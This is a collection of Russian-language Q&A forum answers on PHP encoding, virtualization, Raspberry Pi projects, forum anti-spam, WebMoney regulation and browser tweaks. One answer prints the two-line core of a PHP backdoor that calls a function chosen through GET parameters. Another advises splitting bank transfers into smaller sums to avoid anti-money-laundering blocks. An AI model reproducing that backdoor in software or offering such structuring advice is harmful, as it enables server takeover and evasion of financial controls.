• Ищется скрипт для создания пазлов

    @igoravr
    На codecanyon.net есть. Может найдёшь что-то подходящее.
    Ответ написан
    2 комментария
  • На английском работает, на русском нет. Проблема с preg_match_all

    @Monaxxx
    Добавил функцию

    function fixEncoding($s, $encoding = 'UTF-8') {   
        $s = @iconv('UTF-16', $encoding . '//IGNORE', iconv($encoding, 'UTF-16//IGNORE', $s)); 
        return str_replace("\xEF\xBB\xBF", '', $s);
    }
    

    в твой код

    function summarize($haystack, $needle, $wordLimit = 5) {
    
        $haystack = fixEncoding($haystack);
        $needle = fixEncoding($needle);
        // first get summary of text around key word (needle)
        $preg_safe = str_replace(" ", "\s", preg_quote($needle));
    
        $pattern = "/(\w*\S\s+){0,$wordLimit}\S*\b($preg_safe)\b\S*(\s\S+){0,$wordLimit}/iux";
        if (preg_match_all($pattern, $haystack, $matches)) {
            $summary = str_replace(strtolower($needle), "<strong>$needle</strong>", $matches[0][0]) . '…';
        } else {
            $summary = false;
        }
    
        return $summary;
    }
    


    Работает
    Ответ написан
    Комментировать
  • На английском работает, на русском нет. Проблема с preg_match_all

    CGS
    @CGS
    Попробуйте:
    setlocale(LC_ALL, 'ru_RU.CP1251');
    
    Ответ написан
    Комментировать
  • Существует ли инструмент позволяющий публиковать новости во все соц сети одновременно?

    Phelix
    @Phelix
    SEO, Веб-анализ, Анализ данных
    hootsuite.com — отличный сервис.
    Соц сети:
    Twitter
    Facebook
    LinkedIn
    Google+
    Foursquare
    Myspace
    Wordpress
    tumblr
    И так далее. Лучше посмотреть на сайте сервиса.
    + Есть хорошие инструменты аналитики.
    Ответ написан
    5 комментариев
  • Прошу совета в выборе платформы для виртуализации ИТ инфраструктуры предприятия

    amc
    @amc
    Вне зависимости от выбранной платформы виртуализации — внешнее хранилище. Потому что иначе — падение хоста приводит к полному падению виртуалок и восстановления — не раньше чем восстановление хоста. А у хоста — может рейд рассыпаться, восстанавливать — несколько часов. Так что раз _действительно_ такие жесткие требования — то только внешняя СХД. С двумя контроллерами и прочим фаршем.

    Далее: если только два сервера — то конфиг у них должен быть одинаковый, чтобы в случае помирания одной ноды — вторая завела все виртуалки у себя и не подохла от нагрузки.

    Платформа же… по вкусу. Но исходя из реальных условий, вариантов только два, Hyper-V и VMWare.
    В ваших условиях вполне можно попробовать что-то из Acceleration/Essentials Kits, но в любом случае это либо немного, либо более дорого чем аналогичное решение на Hyper-V.
    Ответ написан
    3 комментария
  • Подскажите варианты использования «железок»

    Nickel3000
    @Nickel3000
    Да просто море вариантов использования, зависит от того, чем вам интересно заниматься. Вот, например, для Raspberry Pi:

    Webcam server
    Vehicle tracking (using an add-on GPS module)
    Streaming internet radio box
    Vehicle Diagnostics, full OBDII logger with touch screen interface
    Baby monitor
    Media server by adding a couple of USB hard drives
    Media receiver (hopefully we’ll get a port of XBMC or PLEX)
    Video chat
    Game emulator, running MAME (build your own arcade cabinet?)
    Network Attached Storage setup (NAS)
    Mini web server
    FTP server
    Proxy server
    Firewall
    Portable Media PC
    Run an alarm system
    Security webcam (with motion sensor)
    Control garden lighting
    Control sprinkler system
    Wearable computer
    HTPC for TV web browsing
    HTPC for streaming Netfilx / Hulu etc
    In car Computer
    Thin client computer
    Game server
    IRC / chat server
    build a cheap laptop
    build a cheap tablet
    create a digital photo frame
    Asterisk VOIP server
    PBX
    Home automation system
    MP3 player
    Portable personal computer, you can use it anywhere you can find a monitor.
    multitouch screen coffee table
    Wall hanging screen with voice control for network pictures, weather, news and RSS feeds
    Cyber Cafe computer
    Video conferencing system
    Personal weather station / logger
    Control a light display
    Control an LED board
    Put it in an old mac classic or mac plus case as a general purpose computer
    Intelligent photo frame with touch
    Wardriving setup
    A dedicated Synth, possibly with touch screen
    Solar powered desktop computer
    CNC controller
    High tech birthday / Xmas presents
    Backup server
    RSS ticker
    High tech alarm clock
    Mini projector
    DOSBox for games
    Processing farm for SETI@Home
    Cafe media player
    Brains for Arduino setup
    Mumble server
    Industrial manufacturing controller
    TOR server
    BitTorrent seedbox
    Family notice board
    CD / DVD ripping device
    Car black box with video
    Wall mounted, interactive mood lamp
    Robotic telescope / camera controller
    Display photographer portfolio images
    BitTorrent client
    SMS gateway
    Ответ написан
    1 комментарий
  • Подскажите варианты использования «железок»

    Evengard
    @Evengard
    Торрентокачалка? Мощней чем роутер наверное получится, и не шумит…

    Как вариант можно медиасервер наверное сделать, но это уже заморачиваться надо.
    Ответ написан
    2 комментария
  • Как остановить нашествие спам-ботов на форум?

    @zapimir
    Попробуйте еще поведенческий фильтр.
    Ответ написан
    Комментировать
  • Как остановить нашествие спам-ботов на форум?

    @Ajex
    Нужна любая нестандартная самописная защита, пусть и самая банальная. Просто боты настроены стандартно, врядли кто-то их будет переписывать конкретно под ваш форум.
    Можно через javascript добавить какое-то лишнее поле в POST форму регистрации и проверять его наличие в php скрипте.
    Что-то типа такого. Код добавляет скрытое поле в форму регистрации (нужен jquery). Боты не будут его вставлять в форму и по такому признаку их можно отсекать.
    function SubFunc() {
         $('#reg').append('<input type="hidden" value="1" name="JsPassed">');
         document.reg.submit(); 
         return false;
      }
    <a href="javascript:SubFunc()" >Регистрация</a>
    

    Как вариант можно добавить какой-то алгоритм, который на основании ип адреса, например, будет совершать какой-то крипт или просто брать хэш и потом проверку на стороне пхп, но в 99% это будет лишнее, ибо если боты залетные, они и без этого сдуются.
    Ответ написан
    Комментировать
  • Как остановить нашествие спам-ботов на форум?

    @rastych
    у меня подтверждение по e-mail и все равно в один прекрасный момент повалили боты. Включил капчу в виде вопросов и ответов — стало меньше, но пролазили. Заменил вопросы и некоторые буквы в вопросах заменил на аналогичные латинские — за полгода ни одного бота.
    Ответ написан
    1 комментарий
  • Заблокируют ли счёт в банке?

    @signalizator
    Позвоните в банк.
    Советую переводить не по 30к, а по 17.
    Федеральный закон от 7 августа 2001 г. N 115-ФЗ.
    Ответ написан
    4 комментария
  • Бекдор в php — как это работает?

    print() is not actually a real function (it is a language construct) — поэтому у вас с print не получилось ничего.
    Как эта штука работает? Очень просто:
    $func=@$_GET[c];
    $func($_GET[f]);
    

    Используется фича под названием Variable functions
    Ответ написан
    1 комментарий
  • Jquery плагин или фреймворк для поиска на клиенте?

    Fesor
    @Fesor
    Full-stack developer (Symfony, Angular)
    Смотря какого рода поиск вы хотите организовать.

    Если вы хотите организовать поиск непосредственно по какому-то массиву данных, то есть underscore.js. Есть так же имплементации .NET-овского LINQ под js. Вобщем штук таких много, уточните что именно вам нужно.
    Ответ написан
    Комментировать
  • Изменятся ли лимиты в Webmoney в соответствии с законом «О национальной платежной системе»

    Одним из участников форума searchengines.ru опубликованы комментарии представителей WebMoney по поводу Закона. Как отмечается в обсуждениях, ныне такие комментарии может получить каждый, кто пришлет подобные вопросы на all@wmtransfer.com

    На Ваши вопросы мы постараемся ответить исходя из контекста Вашего сообщения содержащего несколько ошибочных утверждений,указывающих на недостаточное понимание Вами правовой природы инструментов системы Webmoney Transfer да и сути самой системы.
    
    Дело в том, что для дальнейшего использования возможностей системы Webmoney Transfer, Вам следует понять, что система Webmoney - это, прежде всего технология передачи сообщений, протокол (смотрите Приложения к Соглашению о трансферте имущественных прав).
    
    Поэтому говорить об изменении в "системе" при принятии каких-то законодательных актов в какой-либо юрисдикции , все равно что говорить о таких изменениях для телеграфа или TCP/IP.
    
    В тоже время система Webmoney Transfer - совокупность Гарантов в различных юрисдикциях и участников.
    
    В РФ имеется Гарант, который ХРАНИТ, переданные ему пользователями на хранение ,неэмиссионные ценные бумаги — электронные банковские чеки на предъявителя. И в соответствии с распоряжениями участников системы этот Гарант передает эти чеки по назначению. Никаких банковских операций при этом не совершает и следовательно не попадал, не попадает и не может попадать под регулирование банковской деятельности и также не может являтся частью "национальной платежной системы".
    
    То же и в еще большей степени касается Гарантов титульных знаков типа WMZ , WME.
    
    Однако стоит отметить , что с принятием закона о национальной платежной системе в РФ, в ДОПОЛНЕНИЕ К СУЩЕСТВУЮЩИМ может появится гарант по "электронным деньгам РФ" - это вероятно будет банк, а весьма возможно , что мы предложим нашу технологию любым банкам в РФ.
    
    Наверно это надо сделать , чтобы упростить бухгалтерам российских компаний работу по учету WM (хотя у нас вызывает искреннее недоумение заявление о "трудностях учета" - webmoney в РФ это банковский чек и учитывается он также ). 
    
    Но повторяем, это будет не WMR , а другой новый тип кошелька, независимый от WMR. Так же учтите ,что вступающий с 1-го октября в силу Закон об НПС имеет массу противоречий и предусматривает,например, ТЕХНИЧЕСКИ выдачу лицензий на "электронные деньги" не ранее 6 месяцев с этой даты . Поэтому появления новых банковских Гарантов
    стоит ждать во 2-м квартале 2012 года. 
    
    Если говорить об упомянутых Вами ограничениях ЗНПС, то заметим, что Закон даже в случае появления Банка-Гаранта и выпуска электронных денег им,позволит нам предоставить нашим участникам ту же функциональность кошельков, что и для существующих типов титульных знаков. 
    
    Вопрос. По тексту закона о НПС, остаток на счетах даже персонифицированных клиентов не может превышать 100 000 руб. Это накладывает серьезные ограничения на переводы между пользователями системы. Будет ли это положение относиться ко всем валютам и типам кошельков Вэбмани, например WMZ, WMR, WME?
    
    Ответ. Эти утверждения никак не относятся к хранению неэмиссионных ценных бумаг, будь то подарочные сертификаты - WMZ, или чеки на предъявителя - WMR. 
    
    Вопрос. Измениться ли процедура раскрытия данных о движении средств по кошелькам участников системы Webmoney после вступения в силу закона о НПС.
    
    Ответ. Сейчас данные об ОПЕРАЦИЯХ С ХРАНИМЫМ ИМУЩЕСТВОМ предоставляются Гарантами, только по запросу из правохранительных органов, оформленных в соответствии с законодательством - так будет и впредь. Если появится банковский Гарант, то он будет отчитываться перед надзорными органами в соответствии с требованиями Закона. 
    
    Вопрос. Сможет ли юридическое лицо или индивидуальный предприниматель использовать свой R-кошелек в системе Webmoney столь же полно, как и расчетный счет в банке.
    
    Ответ. Конечно ДА, но не так как банковский счет, а как отчет о движении ценностей на хранении. 
    
    Вопрос. Возможна ли выдача системой Webmoney закрывающих документов по поступающим средствам на кошельки?
    
    Ответ. А что именно здесь непонятно? http://guarantee.ru/sitefiles/sitefiles_1516076082010.pdf
    
    
    

    Самый главный вывод, который можно сделать, прочитав это: WebMoney не намерена закрывать WMR или что-либо менять в работе Гаранта по R-кошелькам. Дополнительно к этому в РФ, возможно, будут открыты новые типы кошельков, которые будут обслуживаться новыми гарантами по «классическим» электронным деньгам, о которых говорится в Законе.
    Ответ написан
    Комментировать
  • Кто подскажет JS-либу для выделения русских корней слов?

    Про выделение корней ничего не подскажу, но, возможно, для задачи подойдёт библиотека стемминга (примерно тоже самое, только выделяется основа слова, а не морфологический корень): urim.googlecode.com/svn/jsSnowball/stemmer/src/ext/RussianStemmer.js
    Ответ написан
    6 комментариев
  • Бывает ли плагин, заставляющий браузер долбиться на сайт без таймаутов?

    SSiarhei
    @SSiarhei
    Недавно пытался зарегиться на получение визы на сайте одного из посольств, после целых суток неудачных попыток (после того как на сайте появлялись свободные даты он сразу ложился) помогла настройка фаерфокса.
    Изменения кардинальные, после этого зарегил несколько анкет за 5 минут:

    Набираем в адресной строке abоut:config и, согласившись быть осторожными, попадаем на страницу настроек браузера.
    Находим в списке параметр network.http.pipelining (введя это название в строке “Фильтр”) и выставляем (нажав на строке этого параметра два раза левой кнопкой мыши) значение true.
    Следующей находим параметр network.http.proxy.pipelining, которому тоже меняем значение на true.
    Почти точно так же поступаем с параметром network.http.pipelining.maxrequests, только ему присваиваем значение 32
    В качестве еще одного штриха (нажав правой кнопкой мыши и выбрав из выпадающего списка Создать – Целое) надо создать целый параметр с названием nglayout.initialpaint.delay и значением 0.
    Далее находим в списке параметр network.dns.disableIPv6 и присваиваем ему значение false
    Следом даем параметру content.notify.backoffcount (если его нет, то создаем (правая кнопка мышки – Создать – Целое)) значение 5.
    Тоже самое проделываем с значением ui.submenuDelay (если его нет, то создаем (правая кнопка мышки – Создать – Целое)), только ему присваиваем 0.
    Ну и, наконец, параметру plugin.expose_full_path (правая кнопка мышки – Создать – Логическое)) даем значение значение true
    Закрываем страничку настроек, перезапускаем браузер и наслаждаемся результатом.
    Пробуйте этот параметр — network.http.pipelining.maxrequests — 32
    Этот параметр задает максимальное количество запросов, которое может быть сделано в соединении, от 1 до 32
    Ответ написан
    5 комментариев